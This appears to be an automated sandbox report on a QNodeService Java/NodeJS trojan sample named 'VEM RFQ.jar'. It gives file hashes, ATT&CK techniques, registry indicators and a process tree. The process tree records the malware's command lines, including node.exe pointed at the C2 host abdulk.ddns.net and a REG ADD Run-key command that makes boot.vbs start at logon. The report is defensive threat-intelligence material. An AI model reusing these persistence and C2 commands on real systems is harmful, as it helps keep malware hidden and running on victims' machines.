qnodeservice | c31445f4089c2a9018e9da605a5e71ddaeb2b70f480e74acbd5a494d1e44ef15

General

Target

VEM RFQ.jar
Size

59KB
MD5

e2b4ab7ed54f4e7c2f255bb3070af2b2
SHA1

3bfa10831153ac3c856dc1f4a51ba642648a71d4
SHA256

c31445f4089c2a9018e9da605a5e71ddaeb2b70f480e74acbd5a494d1e44ef15
SHA512

bf7420d3cbf93c365ba2255780354c1523e6d68921e93e551440b91989d375e8a70d9e6297539552251165b68d31c17ed4e13b18acd7dbc061121a68eabfc8b6

Score

10^/10

qnodeservice persistence trojan

Malware Config

Signatures

QNodeService
Trojan/stealer written in NodeJS and spread via Java downloader.
trojan qnodeservice

Executes dropped EXE 3 IoCs

pid	Process
3724	node.exe
732	node.exe
2416	node.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Windows\CurrentVersion\Run\514441b8-7354-4615-9114-d02ed1f85baa = "cmd /D /C \"C:\\Users\\Admin\\qhub\\node\\2.0.10\\boot.vbs\""	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	reg.exe

JavaScript code in executable 3 IoCs

resource	yara_rule
behavioral2/files/0x000100000001ab60-172.dat	js
behavioral2/files/0x000100000001ab60-177.dat	js
behavioral2/files/0x000100000001ab60-181.dat	js

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
22	wtfismyip.com
23	wtfismyip.com

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	node.exe

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
3724	node.exe
3724	node.exe
3724	node.exe
3724	node.exe
732	node.exe
732	node.exe
732	node.exe
732	node.exe
2416	node.exe
2416	node.exe
2416	node.exe
2416	node.exe
2416	node.exe
2416	node.exe
2416	node.exe
2416	node.exe
2416	node.exe
2416	node.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 3912 wrote to memory of 2896	3912	java.exe	76
PID 3912 wrote to memory of 2896	3912	java.exe	76
PID 2896 wrote to memory of 3724	2896	javaw.exe	80
PID 2896 wrote to memory of 3724	2896	javaw.exe	80
PID 3724 wrote to memory of 732	3724	node.exe	82
PID 3724 wrote to memory of 732	3724	node.exe	82
PID 732 wrote to memory of 2416	732	node.exe	83
PID 732 wrote to memory of 2416	732	node.exe	83
PID 2416 wrote to memory of 1132	2416	node.exe	85
PID 2416 wrote to memory of 1132	2416	node.exe	85
PID 1132 wrote to memory of 748	1132	cmd.exe	86
PID 1132 wrote to memory of 748	1132	cmd.exe	86

C:\ProgramData\Oracle\Java\javapath\java.exe
java -jar "C:\Users\Admin\AppData\Local\Temp\VEM RFQ.jar"
1⤵
- Suspicious use of WriteProcessMemory
PID:3912
- C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe
  "C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe" -jar C:\Users\Admin\AppData\Local\Temp\b46354c8.tmp
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2896
- - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
    C:\Users\Admin\node-v14.12.0-win-x64\node.exe - --hub-domain abdulk.ddns.net
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:3724
  - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
      C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_vSLdK8\boot.js --hub-domain abdulk.ddns.net
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:732
    - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
        
        C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_vSLdK8\boot.js --hub-domain abdulk.ddns.net
        5⤵
        Executes dropped EXE
        Checks processor information in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:2416
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "514441b8-7354-4615-9114-d02ed1f85baa" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\"""
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:1132
        
        C:\Windows\system32\reg.exe
        
        REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "514441b8-7354-4615-9114-d02ed1f85baa" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\""
        7⤵
        Adds Run key to start application
        
        PID:748

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/732-178-0x0000013AF2840000-0x0000013AF2841000-memory.dmp

Filesize
4KB

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memory/2416-182-0x000000DCB16C0000-0x000000DCB16C1000-memory.dmp

Filesize
4KB

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memory/3724-173-0x000001FD46D00000-0x000001FD46D01000-memory.dmp

Filesize
4KB

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